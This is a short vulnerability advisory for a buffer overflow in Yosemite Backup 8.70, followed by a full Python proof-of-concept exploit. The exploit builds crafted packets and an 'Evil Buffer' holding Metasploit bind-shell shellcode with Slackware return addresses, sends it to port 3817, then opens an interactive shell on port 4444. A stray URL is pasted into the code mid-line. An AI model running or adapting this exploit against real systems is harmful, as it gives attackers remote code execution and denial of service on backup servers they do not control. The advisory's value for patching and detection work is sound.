source: https://www.securityfocus.com/bid/32246/info Yosemite Backup is prone to a buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized buffer. Attackers can exploit this issue to execute arbitrary code within the context of the affected application or cause a denial-of-service condition. NOTE: Reports indicate that successful exploits allow remote code execution on Linux systems and denial of service on Windows systems. Yosemite Backup 8.70 is vulnerable; other versions may also be affected. import os import sys import socket # http://www.insight-tech.org # http://www.insight-tech.org/xploits/yosemiteStackOverflowExploit.zip #Yosemite backup 8.7 PoC by AbdulAziz Hariri. #BIND TO PORT 4444 - Metasploit shellcode=("\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x90" "\x9f\xfa\x9d\x83\xeb\xfc\xe2\xf4\xa1\x44\xa9\xde\xc3\xf5\xf8\xf7" "\xf6\xc7\x63\x14\x71\x52\x7a\x0b\xd3\xcd\x9c\xf5\x81\xc3\x9c\xce" "\x19\x7e\x90\xfb\xc8\xcf\xab\xcb\x19\x7e\x37\x1d\x20\xf9\x2b\x7e" "\x5d\x1f\xa8\xcf\xc6\xdc\x73\x7c\x20\xf9\x37\x1d\x03\xf5\xf8\xc4" "\x20\xa0\x37\x1d\xd9\xe6\x03\x2d\x9b\xcd\x92\xb2\xbf\xec\x92\xf5" "\xbf\xfd\x93\xf3\x19\x7c\xa8\xce\x19\x7e\x37\x1d") request1_1 =("\x54\x84\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x92\x00\x00\x00"+ "\x03\x3f\xfb\x76\x08\x20\x80\x00\x7f\xe3\x08\x88\x57\x3b\x77\x80"+ "\x01\x00\x00\x00\xc0\xa8\x01\x42\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x30\x58\x39\x30\x00\x63\x88\x77\xfe\xff\xff\xff"+ "\x1b\x3f\xfb\x76\x6a\x31\x41\x73\xb0\x03\x00\x00\xff\xff\x00\x00"+ "\x06\x10\x00\x44\x74\x62\x3a\x20\x43\x6f\x6e\x74\x65\x78\x74\x00\xd8\xc1\x08\x10\xb0\x03\x00\x00\xff\xff\x00\x00\x06\x10\x00\x00"+ "\x80\xfa") Request2_1=("\x51\x84\x00\x00\x02\x02\x02\x32\x18\x00\x00\x00\xa4\x01\x00\x00"+ "\x00\x00\x00\x00") Request2_2=("\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x4d\x4c\x4d\x4c\x4d\x44\x4f\x4c\x4f\x44\x4f\x44"+ "\x49\x4c\x49\x44\x49\x4c\x43\x4c\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x01\x10\x00\x00\x1f\x93\xf0\x48\x67\x60\x1e\x00"+ "\xd1\xc4\x4f\x00") def connectToTarget(hostname,port): newsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: newsock.connect((hostname,port)) except socket.error, (value,msg): if newsock: newsock.close() print "[x] Error: %s.\n" % msg sys.exit(1)http://www.insight-tech.org/xploits/yosemiteStackOverflowExploit.zip else: print "[x] 0wn3d!" buff = "" comm = "" #newsock.send("\n\n") bol = 1 while bol: buff = "" comm = "" comm = raw_input("$ ") if comm == 'Q': bol = 0 elif comm == '': comm = "" else: newsock.send(comm+"\n") buff = newsock.recv(20024) print buff if len(sys.argv) != 3: print "[x] Usage: IP OS\n[x] OS: W/L\n" sys.exit hostname = sys.argv[1] osver = sys.argv[2] exploitType = 0 if osver == 'W': exploitType=0 elif osver=='L': exploitType=1 else: print "[x] OS not supported.\n" sys.exit #CALL EDI - 0xB7DA6C90 - Slackware 12.0 ret = "\x90\x6C\xDA\xB7" #WEEEEEEEEEEEEE - 0x0809c514 - Slackware 12.0 edi = "\x14\xc5\x09\x08" if(exploitType == 1): buff3r = ("\x90"*77) + shellcode + ("\x90"*119) + edi + ret else: buff3r = "A"*500 logno = Request2_1 + buff3r + Request2_2 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((hostname,3817)) except socket.error, (value,msg): if s: s.close() print "[x] Error: %s.\n" % msg sys.exit(1) else: print "[x] Connected to: %s." % hostname print "[x] Sending initial request.." try: s.send(request1_1) except socket.error, (value,msg): if s: s.close() print "[x] Error: %s.\n" % msg sys.exit(1) else: print "[x] Sent!" print "[x] Sending Evil Buffer.." try: s.send(logno) except socket.error, (value,msg): if s: s.close() print "[x] Error: %s.\n" % msg sys.exit(1) else: print "[x] Sent!" if exploitType==1: print "[x] Checking if exploit worked.." connectToTarget(hostname,4444) print "[x] End of Demo exploit."